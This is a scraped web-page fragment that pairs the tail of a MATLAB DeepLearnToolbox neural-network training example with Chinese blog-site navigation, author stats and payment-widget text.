nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

上一篇: 【分析】非安全编程演示之格式化字符串篇version1.1
下一篇: 【分析】非安全编程演示之高级篇
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值